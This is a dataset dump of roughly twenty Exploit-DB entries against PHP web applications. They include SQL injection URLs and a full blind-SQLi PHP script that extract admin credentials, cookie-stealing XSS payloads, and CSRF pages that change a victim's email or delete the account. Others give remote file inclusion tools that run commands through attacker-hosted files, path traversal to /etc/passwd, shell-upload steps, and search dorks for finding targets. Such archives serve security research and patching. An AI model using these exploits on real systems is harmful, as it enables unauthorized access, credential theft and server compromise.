deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14163
Description: iScripts ReserveLogic 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2010-07-01
Author: Salvatore Fresta

Exploit:
iScripts ReserveLogic 1.0 SQL Injection Vulnerability

 Name              iScripts ReserveLogic
 Vendor            http://www.iscripts.com
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-01-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION

iScripts  ReserveLogic  allows  independent  hotel/motels,
B&B,  time-shares,  campgrounds,  tour companies, etc., to
take  their  business truly online with online reservation
and customer management.


II. DESCRIPTION

A  numeric  field  is  not properly sanitised before being
used in a SQL query.


III. ANALYSIS

Summary:

 A) SQL Injection
 

A) SQL Injection

The  pid  parameter in packagedetails.php is  not properly
sanitised  before  being  used  in a SQL query. Successful
exploitation  requires  that  the  pid value exists in the
database, or rather that is a real package id.


IV. SAMPLE CODE

A) SQL Injection

http://site/path/packagedetails.php?pid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12%23


V. FIX

No Fix.
Exploit-DB #5402
Description: iScripts Socialware - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-07
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		       iScripts SocialWare SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 8 April 2008
SITE: www.iscripts.com
DORK (altavista.com): "Powered by iScripts SocialWare" 


DESCRIPTION: 
pull admin/user info from database.


EXPLOITS:
www.site.com/events.php?action=show&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3c666f6e7420636f6c6f723d[PII_REDACTED]3e,Username,char(58),Password,0x3c2f666f6e743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/FROM/**/admin_users/*
www.site.com/events.php?action=show&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3c666f6e7420636f6c6f723d[PII_REDACTED]3e,email,char(58),password,0x3c2f666f6e743e),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/**/FROM/**/members/*


NOTE/TIP:
admin login is at /admin/
all passwords are in plaintext!

on some sites the admin login is stored in "theact_admin_users"

uploading shell:
to upload shell first use the 1st injection to get admin login credentials, then goto the admin login /admin/
login and in the left menu click "Manage Settings" in this page it gives you a option to select a new logo
but the extension isnt checked here, so we can upload php files, so select your php shell and hit "Save".

ok now goto site.com/images/ where site.com is the actual website. and look for your uploaded file/shell


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		       iScripts SocialWare SQL Injection Vulnerbility	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-07]
Exploit-DB #44434
Description: iScripts SonicBB 1.0 - Reflected Cross-Site Scripting (PoC)
Type: webapps
Platform: php
Date: 2018-04-09
Author: ManhNho

Exploit:
# Exploit Title: iScripts SonicBB 1.0 - Reflected Cross-Site Scripting
# Date: 02/04/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iscripts.com
# Demo Page: https://www.demo.iscripts.com/sonicbb/demo/
# Version: 1.0
# Tested on: Windows 10
# Category: Webapps
# CVE: CVE-2018-9235

1. Description
====================
iScripts SonicBB 1.0 has Reflected Cross-Site Scripting via the query
parameter to search.php

2. PoC
====================
Request:

GET
/sonicbb/demo/search.php?query=%22%3E%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E
HTTP/1.1
Host: www.demo.iscripts.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=227[PII_REDACTED]1[PII_REDACTED][PII_REDACTED][PII_REDACTED]403.1;
__utmb=227100805; __utmc=227100805;
__utmz=227[PII_REDACTED]637403.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);
PHPSESSID=grh7l3amrvhoapig8ll268l9o4;
messagesUtk=9ae2fcc5306f4d9c8d433f0f58efb968; hs-messages-is-open=false
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Mon, 02 Apr 2018 02:58:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 3619
...
    <tr>
     <td width="76%" class="alt1"><a href="index.php">iScripts Forum</a> ->
<a href="search.php?query="><script>alert('1')</script>">Search</a></td>
     <td width="24%" align="center" class="alt1">
      <form method="GET" action="search.php" style="display: inline">
       <input type="text" name="query" size="12" style="font-size: 10px">
       <input type="submit" value="Search" style="font-size: 10px">
      </form>
     </td>
    </tr>
...

3. References
====================
https://pastebin.com/caQW37fY
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9235
Exploit-DB #12451
Description: iScripts VisualCaster - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-29
Author: Sid3^effects

Exploit:
# Exploit Title:SQli Vulnerability in iScripts VisualCaster
# Version: Web Application
# vendor :www.iscripts.com/
# Date: 29 apr,2010
# Dork: Powered by iScripts VisualCaster 
# Author:Sid3^effects
# Code :
--------------------------------------------------------------------------------------
#####################Sid3^effects aKa HaRi##################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR
#ShouTZ:kedar,dec0d3r,41.w4r10r     
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################
 
Description :
   	iScripts VisualCaster is a video hosting script that could be used to provide video hosting service to your customers. It is a turnkey solution to provide services like youTube. 


############################################################################

Xploit : SQli Vulnerability

       
 
 DEMO URL :http://www.iscripts.com/visualcaster/demo/flashPlayer/playVideo.php?product_id= [SQLi]
 


############################################################################


#Sid3^effects
Exploit-DB #28772
Description: ISearch 2.16 - 'ISEARCH_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-09
Author: MoHaNdKo

Exploit:
source: https://www.securityfocus.com/bid/20401/info

iSearch is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

iSearch 2.16 and prior versions are reported affected.

Update: This BID is retired; further information has revealed that this is not a vulnerability.

htpp://www.example.com/[scerpitPath]/index.php?isearch_path=http://attacker's site
Exploit-DB #45845
Description: iServiceOnline 1.0 - 'r' SQL Injection
Type: webapps
Platform: php
Date: 2018-11-14
Author: Ihsan Sencan

Exploit:
# Exploit Title: iServiceOnline 1.0 - 'r' SQL Injection
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/iserviceonline/
# Software Link: https://netcologne.dl.sourceforge.net/project/iserviceonline/iService_Eng.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/app/index.php?r=Report/Repair
# 
POST /[PATH]/app/index.php?r=Report/Repair HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 645
year=2018%20%61%6e%44%20%28%53%45%4c%65%63%74%20%31%35%35%20%46%72%6f%4d%28%53%45%4c%45%43%54%20%43%4f%75%6e%74%28%2a%29%2c%43%4f%6e%63%61%54%28%63%6f%6e%43%41%54%28%30%78%32%30%33%61%32%30%2c%55%73%65%52%28%29%2c%44%61%74%41%42%41%53%45%28%29%2c%56%45%72%53%49%6f%4e%28%29%29%2c%30%78%37%65%2c%28%73%65%6c%65%43%54%20%28%65%6c%54%28%31%35%35%3d%31%35%35%2c%31%29%29%29%2c%30%78%34%39%36%38%37%33%36%31%36%65%32%30%35%33%36%35%36%65%36%33%36%31%36%65%2c%66%6c%6f%4f%52%28%52%41%6e%64%28%30%29%2a%32%29%29%78%20%66%72%4f%4d%20%49%4e%46%6f%72%6d%41%54%49%4f%4e%5f%53%63%68%45%4d%41%2e%50%4c%75%67%49%4e%53%20%47%72%6f%55%50%20%42%59%20%78%29%61%29
HTTP/1.1 500 CDbException
Date: Mon, 12 Nov 2018 14:02:04 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=h1lhf4nk6tjttk3ohei1a4ikn1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Exploit-DB #8167
Description: isiAJAX 1 - 'praises.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-06
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###################################################
 #  [ isiAJAX v1 ]   SQL Injection Vulnerability   #
 ###################################################
 # 
 # Script: "isiAJAX v1"
 #
 # Script site: http://isiajax.sourceforge.net/
 # Download: http://sourceforge.net/project/showfiles.php?group_id=169754
 #
 # [SQL] Vuln: http://site.com/isiAJAX/ejemplo/paises.php?id=-1+UNION+SELECT+1,USER()--
 #             http://isiajax.sourceforge.net/demos/practicos/busqueda/paises.php?id=-1+UNION+SELECT+1,CONCAT_WS(char(58),id,nombre,apellidos,id_pais,edad,telefono,email)+from+usuarios--
 #
 # Bug: ./isiAJAX/ejemplo/paises.php (linez: 10-14)
 #
 # ...
 #	$paise = mysql_query("SELECT id, nombre FROM pais WHERE id_continente=$_GET[id]", $conexion);     //	
 #	while ($paises = mysql_fetch_row($paise)) {				                                          //  SQL inj.
 #	?>	<option value="<?=$paises[0];?>"><?=$paises[1];?></option>                                    //
 #	<?
 #	}
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2009 ] 

*******************************************************************************************

# milw0rm.com [2009-03-06]
Exploit-DB #16102
Description: Islam Sound IV2 - 'details.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-03
Author: ZxH-Labs

Exploit:
# Lab : ZxH-Lab's
# Locate : Jordan - Amman City
# Exploit Title  : Islam Sound IV2 (details.php) Remote SQL Injection 
# Date : 2-2-2011
# Author : ZxH-Labs
# HomeScript  : http://www.emides.com/
# Version : 2.0
# Tested On  : Windows Server 2003 [IIS]

====================================================
#             http://www.site.org/details.php?linkid=[SQL Codes]
#             http://www.site.org/details.php?linkid=-68+and+1=2+union+select+1,2,3,4,5,6,7,8,9--
====================================================

Greet'z 2 Jiko | SadHaCKEr | T0RoB0xHaCKEr | Cyb3r-DevIL | Tw1sT3r | X-Shadow | FreeMAN | Evil SheLL | Sec4ever | Jago-Dz 
Special Thanks 2 AtT4CKxT3rR0rIsT | OSSI 
Sepcial Fuck [ _!_ ] 2 Root-Ar.CoM
Exploit-DB #20260
Description: Islamnt Islam Forum Script 1.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-08-05
Author: s3n4t00r

Exploit:
<?php
/*
  ---------------------------------------------------------------
  Islamnt <=  Remote Blind SQL Injection Exploit by s3n4t00r
  ---------------------------------------------------------------

  Author...............: s3n4t00r
  Home.................: Sec-w.com
  software link........: http://www.islamnt.net/download.php
  affected versions....: from 1 to 1.2
  Gr34ts 4.............: Exp-Bl00d


  [-] Vulnerable code in class/class.template.php:

	public function get_template ($val)
	{
		 $q = new ib_query();
	   	global $style_default;
		 $style_def = ib_setting('style_site');
		 $sel_temp = $q->Query("select $val from styles where id_style='$style_default'"); <-- #   here
		 $row_temp = $q->FetchO($sel_temp);
		 $this->temp = $row_temp->$val;
		 $this->temp = stripslashes($this->temp);

	}

*/


print "\n+------------------------------------------------------------+";
print "\n| Islamnt <=  Remote Blind SQL Injection Exploit by s3n4t00r |";

print "\n+------------------------------------------------------------+\n";


if (!extension_loaded('curl')) die("cURL extension required\n");
error_reporting(E_ERROR);
set_time_limit(0);


function get($url,$inj)
{

			$curl =	curl_init();
			curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
			curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
			curl_setopt($curl,CURLOPT_URL,$url);
            curl_setopt($curl, CURLOPT_COOKIE, "style_default=1$inj");
            curl_setopt($curl, CURLOPT_HEADER, 1);
            curl_setopt($curl, CURLOPT_VERBOSE, 0);
			$calis = curl_exec($curl);
			@curl_close($calis);
            return $calis;


}

function chek_get($connect)
{



         if(eregi("<option value=''></option>",$connect))
          {
            return true;
          }
          else
          {
            return false;
          }

}


if ($argc < 2)
{
            print "\nUsage......: php $argv[0] <url>\n";
            print "\nExample....: php $argv[0] http://localhost/mytickets/";
            print "\nExample....: php $argv[0] http://localhost/mytickets/\n";
            die();
}

$sql_f = chek_get(get($argv[1],"' and 1='2 /*"));
$sql_t = chek_get(get($argv[1],"' and 1='1 /*"));



if($sql_t == $sql_f)
{

          print "\n\t sorry: magic_quotes_gpc = On ): \n";
          die();
}



print "\n\t[+] Getting Admin Username and Password\n\n\t";



for ($g = 1; $g <= 40; $g++) {  //eidt
for ($i = 46; $i <= 122; $i++) {

       $inject = chek_get(get($argv[1],"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,user_user,pass_user)+frOm+users+liMit 0,1),".$g.",1))='".$i."/*"));

       if($inject == $sql_t){print  chr($i);}
}
}




?>
Exploit-DB #33921
Description: IslamSound - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-05-03
Author: JIKO

Exploit:
source: https://www.securityfocus.com/bid/39880/info

IslamSound is prone to multiple remote SQL injection vulnerabilities.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/sound.php?catid=2 sql
http://www.example.com/details.php?linkid=-7 union select user(),1,2,database(),version(),5,6,7,8--
http://www.example.com/send.php?linkid=-5 union select user(),1,2,3,4,5,6,7,8--
Exploit-DB #44692
Description: iSocial 1.2.0 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-22
Author: L0RD

Exploit:
# Exploit Title: iSocial 1.2.0 - Cross-Site Scripting / Cross-Site Request Forgery
# Date: 2018-05-22
# Exploit Author: Borna nematzadeh (L0RD)
# Vendor Homepage: https://codecanyon.net/item/isocial-social-network-platform/21164041?s_rank=2
# Version: 1.2.0
# Tested on: Kali linux

# POC 1 : Cross-Site scripting:

1) Create your account and navigate to "write post".
2) Put this payload and click on "post" :
<script>alert(document.cookie)</script>
3) You will have an alert box in your page .

# POC 2 : Cross-Site Scripting:

1) Navigate to "Albums" and click on "create album"
2) In title field , put this payload :
"/><script>alert(document.cookie)</script>
3) In both cases , the payload will be executed after someone opens your
album or your profile.

# POC 3 : Cross-Site Request Forgery:
# iSocial - Social Network Platform 1.2.0 suffers from csrf vulnerability .
# Attacker can easily change user's email or delete user's account .

# Change email Exploit :

<html>
<head>
   <title>CSRF POC</title>
</head>
  <body>
    <form action="http://Target/isocial/demo/services/actionssetting/email" method="POST">
      <input type="hidden" name="em" value="lord2&#64;gmail&#46;com" />
    </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>

# Result :
# html    "The information has been updated"
# status    "OK"
# message    ""

# Delete account Exploit:

<img src="
http://Target/isocial/demo/services/actionssetting/delete">
Exploit-DB #26595
Description: IsolSoft Support Center 2.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-11-25
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15570/info

Support Center is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

These issues are reported to affect Support Center version 2.2; earlier versions may also be vulnerable. 

http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=any&Priority=any&lorder=[SQL]
http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=any&Priority=[SQL]
http://www.example.com/search.php?field=Subject&searchvalue=&Category=any&Status=[SQL]
http://www.example.com/search.php?field=Subject&searchvalue=&Category=[SQL]
http://www.example.com/search.php?field=Subject&searchvalue=[SQL]
http://www.example.com/search.php?field=[SQL]
Exploit-DB #27845
Description: ISPConfig 2.2.2/2.2.3 - 'Session.INC.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-09
Author: ReZEN

Exploit:
source: https://www.securityfocus.com/bid/17909/info

ISPConfig is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 2.2.2; other versions may also be affected.

<?php
/*
ISPConfig Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:  http://www.xorcrew.net/ReZEN

example:
turl: http://www.target.com/lib/session.inc.php?go_info[server][classes_root]=
hurl: http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">"
    ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
    ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
    ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
    ."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
    ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?>");
fclose($file);

$file = fopen ($turl.$hurl, "r");
if (!$file) {
    echo "<p>Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."<br>";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>
Exploit-DB #28027
Description: ISPConfig 2.2.3 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-06-14
Author: Federico Fazzi

Exploit:
source: https://www.securityfocus.com/bid/18441/info

ISPConfig is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect version 2.2.3; other versions may also be vulnerable.

The vendor reports a properly installed instance of ISPConfig is not vulnerable to these issues.

http://www.example.com/[ic_path]/install_ispconfig/scripts/lib/server.inc.php?go_info[isp][classes_root]=[cmd_url]/
http://www.example.com/[ic_path]/install_ispconfig/ispconfig/lib/app.inc.php?go_info[server][classes_root]=[cmd_url]/
http://www.example.com/[ic_path]/install_ispconfig/ispconfig/web/login/login.php?go_info[server][classes_root]=[cmd_url]/
http://www.example.com/[ic_path]/install_ispconfig/ispconfig/web/login/trylogin.php?go_info[server][classes_root]=[cmd_url]/
Exploit-DB #11681
Description: ispCP Omega 1.0.4 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-03-10
Author: cr4wl3r

Exploit:
[+] ispCP Omega <= 1.0.4 Remote File Include Vulnerability

[+] Discovered By: cr4wl3r
[+] Download: http://isp-control.net/
[+] Dork: "Powered by ispCP Omega"
[+] Code in [ispcp-omega-1.0.4/gui/tools/filemanager/skins/mobile/admin1.template.php]

[x] <?php require_once($net2ftp_globals["application_skinsdir"] . "/blue/admin1.template.php"); ?>

[+] PoC: [path]/tools/filemanager/skins/mobile/admin1.template.php?net2ftp_globals[application_skinsdir]=[Shell]

[+] Greetz and thanks to:
[!] str0ke [milw0rm.com]
[!] r0073r, 0x1D [inj3ct0r.com]
[!] opt!x hacker [morrocan hacker]
[!] xoron [turkish hacker]
[!] irvian, cyberlog, [sekuritionline.net]
[!] EA ngel, basix, angky_tatoki, doniskaynet, panteto [manadocoding.net]
[!] boom3rang [khg-cr3w.org]
Exploit-DB #4592
Description: ISPworker 1.21 - 'download.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-10-31
Author: GoLd_M

Exploit:
ISPworker 1.21 Remote File Disclosure Vulnerability
http://ispworker.de/_files/ispworker-1.21.tar.gz
/module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00
/module/ticket/download.php?filename=../../../../../../../../../etc/passwd

# milw0rm.com [2007-10-31]
Exploit-DB #31655
Description: Istant-Replay - 'read.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-15
Author: THuGM4N

Exploit:
source: https://www.securityfocus.com/bid/28797/info

Istant-Replay is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[forum]/read.php?data=http://127.0.0.1/c99.txt?